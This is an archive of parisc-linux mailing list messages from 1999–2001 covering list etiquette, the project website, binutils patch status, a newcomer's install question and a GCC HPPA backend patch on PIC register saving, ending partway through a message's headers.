Date: Sun, 30 May 1999 03:41:35 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905300338590.8870-100000@bastion.nl3155vj16.vanderkooij.org>
References: <19990530014655.J1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619536 10444 80.91.229.3 (22 Nov 2014 01:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Sat May 29 19:41:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA04775
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 19:41:48 -0600
Original-Received: (qmail 16869 invoked by uid 15267); 30 May 1999 01:41:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16862 invoked from network); 30 May 1999 01:41:15 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 30 May 1999 01:41:15 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id DAA13548 for <parisc-linux@thepuffingroup.com>; Sun, 30 May 1999 03:42:22 +0200 (MET DST)
Original-Received: from k3nw287.dial.kabelfoon.nl(195.193.25.32), claiming to be "bastion.nl3155vj16.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAa13536; Sun, 30 May 1999 03:42:20 +0200
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id DAA08980
	for <parisc-linux@thepuffingroup.com>; Sun, 30 May 1999 03:41:36 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <19990530014655.J1410@mencheca.ch.genedata.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9211

On Sun, 30 May 1999, Matthew Wilcox wrote:

> On Sun, May 30, 1999 at 01:30:05AM +0200, Hugo van der Kooij wrote:
> > Please guys. Don't send message to me if you send them to the list as
> > well. I find 1 copy quite enough.
> 
> it's normal practice to do so on mailing lists.  it allows conversations
> to happen much quicker when the listserv is slow (as vger is right now).
> it's also the way that mailreaders work - reply to sender or reply to all
> - changing that is a pain.  not to mention that you did the same thing :-)

It isn't normal practice! It may be your practice. This list behaves
normaly which is quite unlike the overloaded and underpowered system of
vger.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl		 http://www.caiw.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Mon, 15 Jan 2001 21:53:58 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20010115215358.B27073@redhat.com>
References: <Pine.LNX.4.21.0101160955240.4272-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0101161215520.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619536 10445 80.91.229.3 (22 Nov 2014 01:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:36 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rth@cygnus.com  Mon Jan 15 22:50:19 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA25808
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 22:50:18 -0700
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id VAA24313;
	Mon, 15 Jan 2001 21:53:58 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id VAA27085; Mon, 15 Jan 2001 21:53:58 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <Pine.LNX.4.21.0101161215520.4272-100000@front.linuxcare.com.au>; from Alan Modra on Tue, Jan 16, 2001 at 12:20:19PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:9212

On Tue, Jan 16, 2001 at 12:20:19PM +1100, Alan Modra wrote:
> 	* config/pa/pa.c (pa_init_machine_status, pa_free_machine_status,
> 	pa_init_expanders): New functions.

You need a mark_machine_status function.  It is also much better
to set the global variables once in override_options than for
every function in init_expanders.


r~


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Tue, 16 Jan 2001 00:28:10 -0600
Lines: 103
Approved: news@gmane.org
Message-ID: <3A63E9FA2CE.D2B6JCARLSON@smtp.macalester.edu>
References: <3A63B10BBB.D2B5JCARLSON@smtp.macalester.edu>
 <200101160501.VAA11005@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619536 10447 80.91.229.3 (22 Nov 2014 01:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:36 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, Stan Sieler <sieler@allegro.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Mon Jan 15 23:25:56 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA26862
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 23:25:55 -0700
Original-Received: (qmail 19055 invoked by uid 15267); 16 Jan 2001 06:29:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19039 invoked from network); 16 Jan 2001 06:29:34 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 06:29:34 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JYYEYC8W48001V3H@macalester.edu> for
 parisc-linux@thepuffingroup.com; Tue, 16 Jan 2001 00:29:36 CDT
In-reply-to: <200101160501.VAA11005@milano.cup.hp.com>
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9213

> Wrong on two counts: HP does not run the web site. AFAIK, HP helped
> fund the parisc-linux site developement and approved it's current
> layout/use of HP logo. No one said anything about future developement.
> This issue is still under discussion and Mathew's input has been heard.

I did not know that. Thank you for putting me straight.

> Who are just people.
> Some need to learn new things they don't yet know.
> Funny. None of my supervisors have ever fit that description.
> Maybe I'm just lucky.

*nod* They need to learn, but some aren't willing.  I don't know the
structure at HP, but most any job I've been at...yeah, had a couple good
ones, but those are rare, and you are quite lucky.  Though with the
newfound knowledge that it's not overseen by a large corporation, let us
get with the page alterations already *wink*.

> Wrong again.
> Source is visible at http://puffin.external.hp.com/cgi-bin/cvsview
> or through CVS. Just like the linux kernel.
> You are right - HP won't. Mostly because HP doesn't "own" it.
> Anyone with write access to the CVS repository can change it.
> Only about 1/5th of the people with such write access are HP
> employees.

I must have missed that link as well.  I did not know that just about
everything (web page included) were easily modifyable...but if it's so
easy, why haven't the changes been made?  Why is Matthew so pissed off? 
(I admit that I flamed in response, and I'm sorry...at the time I was
pissed because I didn't have lab access to my hp machines because of the
holiday.  Since then I've had my nap and dinner.)

> 1) It's because owners of said machines haven't *written* a web page
>    (or FAQ) specific to each platform.
> 2) Such a page would fairly quickly be stale.
>    The long term goal is to have one process/kernel for all machines.
>    (64- vs 32-bit kernels is the only issue that won't go away.)

MMM.  Good point, until that happens however...I'm of the belief that
anyone that has problems getting things working should document what
they did to get their machine working (if they ever did).  Regardless of
how out of date it is...you never know how helpful it could be.  For
example...the install directions should include the serial console
tidbit.  Everyone here knows about it...but not everyone does when they
go to first boot off the image (as I did, and subsequently emailed Paul
Bame).  But regardless of the state of the port...sometimes software
just doesn't like to run on multiple platforms (any *nix distro on a
Sony vaio will have problems with the multimedia stuff built into
them...because of the machine...like those particular HP servers that
just don't work). It's good to have documentation. It's part of what
seperates good software from bad.

> Exactly. Post it here and people can find it by searching the
> mail archive. (That's probably another FAQ, Alex?).

When I get done, I most certainly will.

> not really...let's say you've got your system and/or Netscape (and/or
> MSIE) default fonts the size that you'd like (for readability).
> Along comes a page that says: hey...I don't care what your default is,
> I want "size=-1" or "size=-2" ... i.e., "I want a font smaller than
> you like".

*nod* Hrm...that's messed up.  I've never done such a thing.  I've
always done the size=+1 to indicate bold (because bold just isn't enough
sometimes)...but to make the stuff smaller...that's just plain bad
design (unless you want some fine print at the bottom, then it's just
plain bad mojo).  If people can't see what you want them to, what good
is it.  Though I mistakenly thought that the overrides overrides _all_
font settings in the page. For it not to, when you specifically tell it
to...I don't know, maybe another setting for relative font sizing in the
browsers is in order.

>Me too...particularly the bad way HP uses them...they violate the HTML
>standard, and the result is (often) that Netscape renders them okay,
>but refuses to search for text in them (if you do control-F).

*nod* Java generated pages do that to me on occasion to.

>You're missing something...the pages that Matthew (and others) have 
>complained about are going out of their way to say:
>   hey, we know better than the owner of the computer what font sizes
>   are readable on his/her PC!

I was missing that yes.  What should really happen then is that sites
stop doing that...but until they do...maybe what some people need is a
web site post-processor proxy that gets rid of the size=-* tags.

>I only used that as an example of a page that doesn't try to control
>the font size, so you could do a quick A/B comparison.
>BTW, that was a nice posting you did, thanks!
With the previous 3 or 4 responses above...yeah, I got that now. 
Originally I thought you were trying to tout your 31337 html coding
abilities...then I got there, and noticed the white *wink*.  I used to
go to a site called Silicon Toad's BBS (back in 94, mosaic was the
shit), and he hand coded everything.  That was an impressive site in the
2.x days when the lucky people had 19.2.  Pretty and less than 10k.
*nastalga mode off*
And, um, you're welcome?

 - Josiah


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils
Date: Tue, 16 Jan 2001 15:57:23 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20010116155722.F29477@neep.com.au>
References: <Pine.LNX.4.21.0101161020240.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619537 10449 80.91.229.3 (22 Nov 2014 01:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:37 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: andrew@neep.com.au  Tue Jan 16 00:53:59 2001
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA28935
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 00:53:57 -0700
Original-Received: (qmail 7533 invoked by uid 666); 16 Jan 2001 07:57:29 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.113.1)
  by mail.iinet.net.au with SMTP; 16 Jan 2001 07:57:29 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA30150
	for parisc-linux@puffin.external.hp.com; Tue, 16 Jan 2001 15:57:27 +0800
Mail-Followup-To: parisc-linux@puffin.external.hp.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0101161020240.4272-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Tue, Jan 16, 2001 at 10:24:28AM +1100
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:9214

Alan Modra said:
> As of yesterday, the official binutils sources have all our patches, so
> the 2.11.0 release or sourceware CVS can be used for hppa*-linux.

Great news!

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rinux-Iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] R: linux rbrad
Date: Tue, 16 Jan 2001 10:08:10 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <00c101c07f9c$b9d5dbc0$a1b8d8d4@rinux>
References: <200101151958.MAA22163@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619537 10452 80.91.229.3 (22 Nov 2014 01:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:37 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rinux@iternet.it  Tue Jan 16 02:08:43 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA30446
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 02:08:43 -0700
Original-Received: (qmail 23102 invoked by uid 15267); 16 Jan 2001 09:12:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23080 invoked from network); 16 Jan 2001 09:12:19 -0000
Original-Received: from mta13-acc.tin.it (HELO fep13-svc.tin.it) (212.216.176.44)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 09:12:19 -0000
Original-Received: from rinux ([212.216.184.161]) by fep13-svc.tin.it
          (InterMail vM.4.01.03.13 201-229-121-113) with SMTP
          id <20010116091150.GWOU20087.fep13-svc.tin.it@rinux>
          for <parisc-linux@thepuffingroup.com>;
          Tue, 16 Jan 2001 10:11:50 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:9215

Hi
I'm Rino and I've an HP735
Were can I download and what to install linux on my machine? 
regards



From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 20:28:12 +1100 (EST)
Lines: 281
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>
References: <20010115215358.B27073@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619537 10453 80.91.229.3 (22 Nov 2014 01:25:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:37 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Richard Henderson <rth@redhat.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan 16 02:24:56 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA30838
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 02:24:53 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA26035;
	Tue, 16 Jan 2001 20:28:12 +1100
In-Reply-To: <20010115215358.B27073@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9216

On Mon, 15 Jan 2001, Richard Henderson wrote:

> On Tue, Jan 16, 2001 at 12:20:19PM +1100, Alan Modra wrote:
> > 	* config/pa/pa.c (pa_init_machine_status, pa_free_machine_status,
> > 	pa_init_expanders): New functions.
> 
> You need a mark_machine_status function.  It is also much better
> to set the global variables once in override_options than for
> every function in init_expanders.

OK, here we go.

gcc/ChangeLog
	* config/pa/pa.h (PIC_OFFSET_TABLE_REGNUM_SAVED): Remove.
	(machine_function): Define.
	(PIC_OFFSET_TABLE_SAVE_RTX) : Define.
	* config/pa/pa.c (pa_init_machine_status, pa_mark_machine_status,
	pa_free_machine_status): New functions.
	(override_options): Set {init,mark,free}_machine_status to above.
	(hppa_expand_prologue): Use PIC_OFFSET_TABLE_SAVE_RTX instead of
	PIC_OFFSET_TABLE_REGNUM_SAVED.
	* config/pa/pa.md: Use PIC_OFFSET_TABLE_SAVE_RTX instead of
	PIC_OFFSET_TABLE_REGNUM_SAVED throughout.
	* config/pa/pa32-regs.h (CONDITIONAL_REGISTER_USAGE): Remove
	references to PIC_OFFSET_TABLE_REGNUM_SAVED.
	* config/pa/pa64-regs.h (CONDITIONAL_REGISTER_USAGE): Likewise.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

diff -urp -xCVS egcs/gcc/config/pa/pa.c newegcs/gcc/config/pa/pa.c
--- egcs/gcc/config/pa/pa.c	Thu Jan  4 15:22:58 2001
+++ newegcs/gcc/config/pa/pa.c	Tue Jan 16 18:12:37 2001
@@ -1,5 +1,5 @@
 /* Subroutines for insn-output.c for HPPA.
-   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000
+   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
    Free Software Foundation, Inc.
    Contributed by Tim Moore (moore@cs.utah.edu), based on sparc.c
 
@@ -43,6 +43,9 @@ Boston, MA 02111-1307, USA.  */
 #include "recog.h"
 #include "tm_p.h"
 
+static void pa_init_machine_status PARAMS ((struct function *));
+static void pa_mark_machine_status PARAMS ((struct function *));
+static void pa_free_machine_status PARAMS ((struct function *));
 static void pa_combine_instructions			PARAMS ((rtx));
 static int pa_can_combine_p	PARAMS ((rtx, rtx, rtx, int, rtx, rtx, rtx));
 static int forward_branch_p				PARAMS ((rtx));
@@ -186,6 +189,43 @@ override_options ()
 
   /* Register global variables with the garbage collector.  */
   pa_add_gc_roots ();
+
+  /* Arrange to save and restore machine status around nested functions.  */
+  init_machine_status = pa_init_machine_status;
+  mark_machine_status = pa_mark_machine_status;
+  free_machine_status = pa_free_machine_status;
+}
+
+/* Functions to initialize pic_offset_table_save_rtx.
+   These will be called, via pointer variables,
+   from push_function_context and pop_function_context.  */
+
+static void
+pa_init_machine_status (p)
+     struct function *p;
+{
+  p->machine = (machine_function *) xmalloc (sizeof (machine_function));
+
+  p->machine->pic_offset_table_save_rtx = gen_reg_rtx (Pmode);
+}
+
+static void
+pa_mark_machine_status (p)
+     struct function *p;
+{
+  if (p->machine)
+    ggc_mark_rtx (p->machine->pic_offset_table_save_rtx);
+}
+
+static void
+pa_free_machine_status (p)
+     struct function *p;
+{
+  if (p->machine == NULL)
+    return;
+
+  free (p->machine);
+  p->machine = NULL;
 }
 
 
@@ -2653,7 +2693,7 @@ remove_useless_addtr_insns (insns, check
 
 }
 
-/* You may have trouble believing this, but this is the HP-PA stack
+/* You may have trouble believing this, but this is the 32 bit HP-PA stack
    layout.  Wow.
 
    Offset		Contents
@@ -3153,19 +3193,17 @@ hppa_expand_prologue()
      made incorrect assumptions about using global variables to hold
      per-function rtl code generated in the backend.
 
-     So instead, we copy the PIC register into a reserved callee saved
-     register in the prologue.  Then after each call we reload the PIC
-     register from the callee saved register.  We also reload the PIC
-     register from the callee saved register in the epilogue ensure the
-     PIC register is valid at function exit.
-
-     This may (depending on the exact characteristics of the function)
-     even be more efficient. 
-
-     Avoid this if the callee saved register wasn't used (these are
-     leaf functions).  */
-  if (flag_pic && regs_ever_live[PIC_OFFSET_TABLE_REGNUM_SAVED])
-    emit_move_insn (gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED),
+     So instead, we copy the PIC register into a callee saved register
+     in the prologue.  Then after each call we reload the PIC register
+     from the callee saved register.
+
+     Avoid doing this if the register isn't used (eg. leaf functions)
+     as it's an error to delete an instruction from the prologue.  */
+
+  if (flag_pic
+      && (GET_CODE (PIC_OFFSET_TABLE_SAVE_RTX) != REG
+	  || HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX)))
+    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
 		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
 }
 
diff -urp -xCVS egcs/gcc/config/pa/pa.h newegcs/gcc/config/pa/pa.h
--- egcs/gcc/config/pa/pa.h	Thu Jan  4 15:22:58 2001
+++ newegcs/gcc/config/pa/pa.h	Tue Jan 16 18:02:14 2001
@@ -70,6 +70,14 @@ enum architecture_type
   ARCHITECTURE_20
 };
 
+struct rtx_def;
+/* A C structure for machine-specific, per-function data.
+   This is added to the cfun structure.  */
+typedef struct machine_function
+{
+  struct rtx_def *pic_offset_table_save_rtx;
+} machine_function;
+
 /* For -march= option.  */
 extern const char *pa_arch_string;
 extern enum architecture_type pa_arch;
@@ -493,8 +501,8 @@ extern int target_flags;
 #define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
 /* Register into which we save the PIC_OFFEST_TABLE_REGNUM so that it
-   can be restore across function calls.  */
-#define PIC_OFFSET_TABLE_REGNUM_SAVED 4
+   can be restored across function calls.  */
+#define PIC_OFFSET_TABLE_SAVE_RTX (cfun->machine->pic_offset_table_save_rtx)
 
 #define DEFAULT_PCC_STRUCT_RETURN 0
 
diff -urp -xCVS egcs/gcc/config/pa/pa.md newegcs/gcc/config/pa/pa.md
--- egcs/gcc/config/pa/pa.md	Mon Jan  8 22:47:00 2001
+++ newegcs/gcc/config/pa/pa.md	Tue Jan 16 10:45:58 2001
@@ -5735,18 +5735,12 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
       if (TARGET_64BIT)
 	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -5915,18 +5909,12 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
       if (TARGET_64BIT)
 	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -6096,16 +6084,10 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -6158,16 +6140,10 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
diff -urp -xCVS egcs/gcc/config/pa/pa32-regs.h newegcs/gcc/config/pa/pa32-regs.h
--- egcs/gcc/config/pa/pa32-regs.h	Thu Jan 11 16:10:48 2001
+++ newegcs/gcc/config/pa/pa32-regs.h	Mon Jan 15 18:22:39 2001
@@ -110,11 +110,7 @@
 	fixed_regs[i] = call_used_regs[i] = 1; 	\
     }						\
   if (flag_pic)					\
-    {						\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-    }						\
+    fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
 }
 
 /* Allocate the call used registers first.  This should minimize
diff -urp -xCVS egcs/gcc/config/pa/pa64-regs.h newegcs/gcc/config/pa/pa64-regs.h
--- egcs/gcc/config/pa/pa64-regs.h	Thu Jan 11 16:10:48 2001
+++ newegcs/gcc/config/pa/pa64-regs.h	Mon Jan 15 18:22:40 2001
@@ -109,11 +109,7 @@ Boston, MA 02111-1307, USA.  */
 	fixed_regs[i] = call_used_regs[i] = 1; 	\
     }						\
   if (flag_pic)					\
-    {						\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-    }						\
+    fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
 }
 
 /* Allocate the call used registers first.  This should minimize



From - Thu Nov 08 21:15:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Build hppa unwind info for more than .text
Date: Wed, 17 Jan 2001 00:02:07 +1100 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101162353310.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619538 10455 80.91.229.3 (22 Nov 2014 01:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:38 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: binutils@sourceware.cygnus.com
Original-X-From: alan@linuxcare.com.au  Tue Jan 16 05:58:39 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA01567
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 05:58:37 -0700
Original-Received: from localhost (alan@localhost)
